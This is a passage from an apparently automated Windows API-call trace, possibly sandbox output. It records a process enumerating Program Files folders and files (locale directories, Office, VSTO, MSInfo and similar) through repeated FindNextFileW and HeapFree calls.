(in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.478] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0286.478] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.478] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0286.478] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.478] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0286.479] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.479] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0286.479] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.479] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0286.479] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.479] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0286.479] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.479] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0286.480] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.480] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0286.480] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.480] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0286.480] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.480] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0286.480] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.480] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0286.480] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.480] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0286.481] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.481] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0286.481] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.481] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0286.481] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.481] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0286.481] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.481] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0286.482] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.482] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0286.482] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.482] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0286.482] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.482] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0286.482] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.482] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0286.482] FindClose (in: hFindFile=0x3e81ee8 | out: hFindFile=0x3e81ee8) returned 1 [0286.482] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.483] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0286.484] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.484] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0286.484] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.484] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0286.486] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.486] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0286.486] FindClose (in: hFindFile=0x3e81de8 | out: hFindFile=0x3e81de8) returned 1 [0286.486] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.487] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0286.487] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.487] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0286.487] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.487] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0286.489] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.489] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0286.489] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.489] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0286.489] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0286.489] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.489] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0286.490] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.490] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0286.490] FindClose (in: hFindFile=0x3e81b68 | out: hFindFile=0x3e81b68) returned 1 [0286.490] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.490] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0286.490] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.490] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0286.491] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.491] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0286.496] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.496] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0286.497] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.497] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0286.497] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.498] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0286.498] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0286.498] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.499] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0286.499] HeapFree (in: hHeap=0x730000, dwFlags=0x0, 